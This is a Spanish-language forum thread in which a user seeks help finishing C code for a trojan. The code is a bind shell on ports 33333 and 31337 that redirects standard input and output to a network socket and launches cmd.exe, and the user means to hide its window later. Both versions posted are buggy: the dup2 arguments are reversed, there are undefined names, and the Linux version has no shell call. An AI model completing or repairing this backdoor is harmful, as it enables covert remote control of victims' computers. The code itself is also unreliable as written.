lo que uso es un dup2 para duplicar los descriptores de salida y entrada STDIN y STDOUT k corresponden con los descriptores 1 y 0. los duplico dirigiendolos al socket abierto, pero no me funciona. el cmd se abre en la ventana del troyano que luego voy a ocultar, por lo que no me sirve xD
les dejo el code: Dev-Cpp Windows 7 C:
Código
#include <stdio.h> #include <string.h> #include <winsock.h> #include <sys/types.h> int main () { WSADATA wsaData; WSAStartup(MAKEWORD(1, 1), &wsaData); SOCKET sockfd, newsock; struct sockaddr_in client, host; int a=sizeof (client); sockfd=socket (2, 1, 0); host.sin_family=AF_INET; host.sin_addr.s_addr=0; host.sin_port=htons (33333); bind (sockfd, (struct sockaddr*)&host, sizeof (host)); listen (sockfd, 1); while (1) { newsock=accept (sockfd, (struct sockaddr*)&client, &a); send (newsock, "Conexion finalizada.\n", 21, 0); dup2 (STDIN, newsock); dup2 (STDOUT, newsock); dup2 (STRERR, newsock); WinExec ("cmd.exe", SW_NORMAL); closesocket (newsock); } closesocket (sockfd); return 0; }
Nota: Linkeo desde un proyecto, pero quiero hacerlo desde linea de comandos. se k se ha hablado muxo xro sigo sin conseguirlo fuera de graficos....
linkeo a C:/Dev-Cpp/lib/libwsock32.a k es la k va en el 7.
saludos y gracias
Lh: No hagas doble post.
agradeceria que alguien respondiese
antes de continuar, dire que lo volvi a escribir en Linux Ubuntu. A ver k tal:
Código
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int main() { int sockfd, newsock; struct sockaddr_in server, client; int a; sockfd=socket(2, 1, 0); server.sin_family = AF_INET; server.sin_port = htons(31337); server.sin_addr.s_addr = 0; bind(sockfd,(struct sockaddr*)&server, sizeof(struct sockaddr)); listen(sockfd,3); while(1) { a=sizeof(struct sockaddr_in); newsock=accept(sockfd, (struct sockaddr *)&client, &a); dup2 (stdin, newsock); dup2 (stdout, newsock); dup2 (stderr, newsock); close (newsock); } return 0; close(sockfd); }
Donde dice "Hola" en el fprintf deberia escribir en el socket "newsock", pero no lo escribe en algun lado.
Echenme una mano por favor!!!
Lh: No hagas doble post, utiliza el botón modificar. Ten paciencia para esperar la respuesta.
Proximo doble post y borro directamente.
Buenas, se que la participacion es voluntaria pero necesito urgentemente una respuesta, por favor.
Alguien puede echarme una mano?
Saludos y gracias